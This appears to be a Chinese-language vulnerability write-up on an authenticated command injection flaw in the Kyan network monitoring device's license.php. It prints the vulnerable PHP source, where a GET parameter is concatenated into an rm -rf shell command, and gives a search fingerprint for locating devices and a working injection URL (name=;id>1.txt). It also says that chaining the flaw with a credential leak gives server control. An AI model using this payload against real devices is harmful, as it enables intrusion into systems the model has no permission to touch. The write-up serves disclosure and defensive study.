# Kyan 网络监控设备 license.php 远程命令执行漏洞 ## 漏洞描述 Kyan 网络监控设备 license.php 可在身份验证的情况下执行任意命令, 配合账号密码泄露漏洞，可以获取服务器权限，存在远程命令执行漏洞 ## 漏洞影响 ``` Kyan ``` ## 网络测绘 ``` app="Kyan设计" ``` ## 漏洞复现登录页面如下 ![image-20220519175106605](images/202205191751697.png) 存在漏洞的文件: `/license.php` ``` 0) { show_error(lang_get('Extract file failed')); exec($BASH."\"rm -rf /dev/shm/upload\""); exit; } exec($BASH."\"cd /dev/shm/upload && md5sum -c md5sum\"", $output, $ret); if($ret <> 0) { show_error(lang_get('MD5 check failed')); exec($BASH."\"rm -rf /dev/shm/upload\""); exit; } if (is_windows()) $dh = opendir('c:\\cygwin\\dev\\shm\\upload'); else $dh = opendir('/dev/shm/upload'); if(!$dh) { show_error(lang_get('can not open dest dir to copy')); exec($BASH."\"rm -rf /dev/shm/upload\""); exit; } exec($BASH."\"touch /tmp/mmap_watch_pause\""); while($file = readdir($dh)) { if(is_dir($file)) continue; $file = trim($file); if(ereg('\.lic$', $file)) { $filetitle = basename($file, '.lic'); $extract_dir = $pkg_extract_dir . '/' . $filetitle; exec($BASH."\"" . $extract_dir . "/.init stop\""); exec($BASH."\"mkdir -p " . $destdir . " && mv -f /dev/shm/upload/" . $file . " " . $destdir . "\""); exec($BASH."\"rm -rf " . $extract_dir . " && mkdir -p " . $extract_dir . " && cd " . $extract_dir . " && bzcat " . $destdir . '/' . $file . " | cpio -idu \""); } } if (!is_windows()) exec($BASH."\"/sbin/ldconfig\""); else exec($BASH."\"rm -rf ". $tmpname ."\""); exec($BASH."\"rm -f /tmp/mmap_watch_pause\""); exec($BASH."\"rm -rf /dev/shm/upload\""); } if (isset($_GET['cmd']) && isset($_GET['name'])) { $cmd = $_GET['cmd']; if ($cmd == 'delete') { $name = $_GET['name']; exec($BASH."\"rm -f ". $PREFIX ."licenses/".$name."\""); } } print_html_begin('license'); echo "\n"; echo "\n"; echo "\n"; if (is_windows()) $dh = opendir('z:\\writable\\licenses'); else $dh = opendir('/config/licenses'); if ($dh) { while ($file = readdir($dh)) { if (is_dir($file)) continue; $file = trim($file); if (!ereg('\.lic$', $file)) continue; $filetitle = basename($file, '.lic'); echo "\n"; } } echo "

".lang_get('licenses')."
".lang_get('name')."	".lang_get('operation')."
".$filetitle."	"; echo "

\n
\n"; echo "\n"; echo "\n"; echo "\n"; echo "\n"; echo ""; echo ""; echo ""; echo "\n

".lang_get('licenses to upload')."
" .lang_get('select file')."

\n"; echo "\n"; print_html_end(); ?> ``` 其中需要注意的位置 ``` if (isset($_GET['cmd']) && isset($_GET['name'])) { $cmd = $_GET['cmd']; if ($cmd == 'delete') { $name = $_GET['name']; exec($BASH."\"rm -f ". $PREFIX ."licenses/".$name."\""); } } ``` 由于变量可控，构造POC执行任意命令 ``` /license.php?cmd=delete&name=;id>1.txt ``` ![image-20220519174931768](images/202205191749819.png)